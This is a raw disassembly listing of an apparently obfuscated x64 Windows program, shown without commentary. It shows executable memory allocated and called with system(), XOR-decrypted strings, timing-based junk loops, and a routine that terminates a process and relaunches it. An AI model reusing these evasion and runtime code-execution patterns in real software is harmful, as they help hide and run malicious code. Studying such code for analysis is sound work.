mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, r12
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x1400b48e0]
lea r14, [0x140000000]
lea r15, [0x140006d60]
test rax, rax
je 0x140021a8b
mov rdx, rdi
cmp rax, r15
je 0x140021a7a
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x140021a62
jmp 0x140021a8b
mov r8, qword [r14 + rdx*8 + 0xb4c00]
test r8, r8
jne 0x140021b6f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140021ab4
mov r8, rdi
jmp 0x140021b4e
mov rax, r15
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140021ac0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r8
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r12
mov qword [rsi], rbx
movups xmm0, xmmword [0x14008e500]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x14008e510]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14008e514]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14008e516]
mov byte [rsp + 0x76], al
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140021cd3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140021be0
cmp r8d, 0x17
jge 0x140021d13
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140021ce0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
lea rax, [rsp + 0x60]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021d30
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.140006e30
nop
mov rsi, qword [rbp - 0x60]
mov rbx, qword [rbp - 0x78]
mov r14, qword [rbp - 0x68]
test r14, r14
je 0x140021d8f
nop word [rax + rax]
lea rdx, [rbp - 0x78]
cmp rsi, 0xf
cmova rdx, rbx
movzx edx, byte [rdx + rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rdi
cmp rdi, r14
jne 0x140021d60
cmp rsi, 0xf
jbe 0x140021dc9
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140021dc1
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021dc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400882d0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400239f8
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1414], 0xffffffff
mov dword [rbp + 0x94], eax
mov rdx, r15
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x94], eax
inc rdx
cmp rdx, 0x270
jb 0x140021df1
mov dword [rbp + 0x90], 0x270
mov dword [rbp + 0x14b8], edi
lea rcx, [rbp - 0x80]
call fcn.14001a900
mov r14, qword [rbp - 0x80]
add r14, 0x5f5e100
movabs r13, 0xb2f4fc0794908cf3
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x140021e60
imul rax, rcx, 0x64
jmp 0x140021ecf
cmp rbx, 0x16e3600
jne 0x140021eb4
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140021ecf
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x140022053
mov esi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140021f1a
nop word [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140021f00
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140021f6a
nop dword [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140021f50
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
add eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140021fba
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140021fa0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
imul eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002200b
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140021ff1
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
sub eax, ecx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], edx
sub rsi, r15
jne 0x140021ee0
jmp 0x140021e41
mov eax, dword [rbp + 0x14b8]
mov dword [0x1400b3918], eax
mov ecx, r12d
call fcn.140014480
test al, al
mov r13, 0xffffffffffffffff
jne 0x140022607
lea rsi, [rbp + 0x1498]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x1400b48e0]
lea r14, [0x140000000]
lea r15, [0x140006d60]
test rax, rax
je 0x1400220e9
mov rdx, rdi
nop
cmp rax, r15
je 0x1400220d8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x1400220c0
jmp 0x1400220e9
mov r8, qword [r14 + rdx*8 + 0xb4c00]
test r8, r8
jne 0x1400221cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022112
mov r8, rdi
jmp 0x1400221ae
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022120
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r8
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rsi], rbx
movups xmm0, xmmword [str.f__XI]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x14008e528]
movups xmmword [rbp - 0x48], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140022373
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002232d
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x54]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140022240
jmp 0x140022373
lea r9, [rbp - 0x58]
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140022340
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp - 0x58]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022390
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x60]
call fcn.140006e30
nop
mov rbx, rdi
mov rsi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
test r14, r14
je 0x1400223f0
lea rdx, [rsp + 0x60]
cmp rsi, 0xf
cmova rdx, r15
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006770
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x1400223c0
cmp rsi, 0xf
jbe 0x140022406
mov r8, rsi
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.140015280
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
lea r14, [rbp + 0x1498]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], r14
mov rbx, qword [r14]
mov rax, rbx
xor rax, rcx
mov qword [rsp + 0x60], rax
mov qword [r14], rdi
mov r8d, r12d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400224ca
mov dword [rbp + 0x14b8], 0x104
lea r9, [rbp + 0x14b8]
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
mov rcx, rsi
test eax, eax
je 0x1400224c4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp + 0x90]
mov r8, r13
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400224b0
lea rdx, [rbp + 0x90]
jmp 0x1400224e3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm1, xmm1
xorps xmm0, xmm0
lea rdx, [0x14008dab8]
xor r8d, r8d
movdqu xmmword [rbp - 0x68], xmm1
movups xmmword [rbp - 0x78], xmm0
lea rcx, [rbp - 0x78]
call fcn.140006f40
nop
mov qword [rsp + 0x60], rbx
mov qword [r14], rbx
lea rbx, [rbp + 0x1498]
mov r14, qword [rbx]
mov qword [rbx], rdi
mov r8d, r12d
xor edx, edx
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140022532
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], r14
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x1498]
mov rsi, qword [rax]
mov qword [rax], rdi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rdx, qword [rbp - 0x78]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400225da
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rsi
mov r8, qword [rbp - 0x60]
cmp r8, 7
jbe 0x1400225f4
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp - 0x78]
call fcn.1400152c0
movdqa xmm0, xmmword [0x14008fb70]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x78], di
jmp 0x14002260d
mov r12d, 1
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x50], 0x9b8d91a9
mov dword [rsp + 0x54], 0x8b80849d
mov dword [rsp + 0x58], 0x94888ac0
mov word [rsp + 0x5c], 0x100
lea rcx, [rsp + 0x50]
call fcn.140016a60
mov rdx, qword [0x1400b38d0]
mov rcx, rax
call fcn.1400143b0
mov r15d, eax
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1414], 0xffffffff
mov dword [rbp + 0x94], eax
mov rdx, r12
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x94], eax
inc rdx
cmp rdx, 0x270
jb 0x140022670
mov dword [rbp + 0x90], 0x270
mov dword [rbp + 0x14b8], edi
lea rcx, [rbp - 0x80]
call fcn.14001a900
mov r14, qword [rbp - 0x80]
add r14, 0x5f5e100
movabs r13, 0xb2f4fc0794908cf3
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x1400226df
imul rax, rcx, 0x64
jmp 0x14002274e
cmp rbx, 0x16e3600
jne 0x140022733
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14002274e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x1400228d4
mov esi, 0x186a0
nop dword [rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14002279a
nop word [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140022780
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1400227ea
nop dword [rax + rax]
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1400227d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
add eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002283a
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140022820
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
imul eax, ecx
mov dword [rbp + 0x14b8], eax
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14002288b
lea rcx, [rbp + 0x90]
call fcn.140012c30
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140022871
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rbp + 0x14b8]
sub eax, ecx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], eax
mov eax, dword [rbp + 0x14b8]
cdq
idiv ebx
mov dword [rbp + 0x14b8], edx
sub rsi, 1
jne 0x140022760
jmp 0x1400226c0
mov eax, dword [rbp + 0x14b8]
mov dword [0x1400b3918], eax
mov ecx, r15d
call fcn.140014480
test al, al
mov r13, 0xffffffffffffffff
jne 0x140022c88
lea rsi, [rbp + 0x1498]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], rsi
mov rbx, qword [rsi]
xor rbx, r12
mov qword [rsp + 0x60], rbx
mov qword [rsi], rdi
mov ecx, edi
mov rax, qword [0x1400b48e0]
lea r14, [0x140000000]
lea r15, [0x140006d60]
test rax, rax
je 0x140022969
mov rdx, rdi
nop
cmp rax, r15
je 0x140022958
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0xb48e0]
test rax, rax
jne 0x140022940
jmp 0x140022969
mov r9, qword [r14 + rdx*8 + 0xb4c00]
test r9, r9
jne 0x140022a4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140022992
mov r9, rdi
jmp 0x140022a2e
mov rax, r15
mov rcx, r9
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400229a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400b48d0]
mov qword [r14 + rax*8 + 0xb48e0], r15
mov qword [r14 + rax*8 + 0xb4c00], r9
inc rax
mov qword [0x1400b48d0], rax
lea rdx, [0x14008e1c0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r9
nop
xor rbx, r12
mov qword [rsi], rbx
movups xmm0, xmmword [0x14008e538]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x14008e548]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x14008e550]
mov word [rsp + 0x78], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140022bf3
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140022bb3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022ac0
cmp r8d, 0x1a
jge 0x140022bf3
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140022bc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
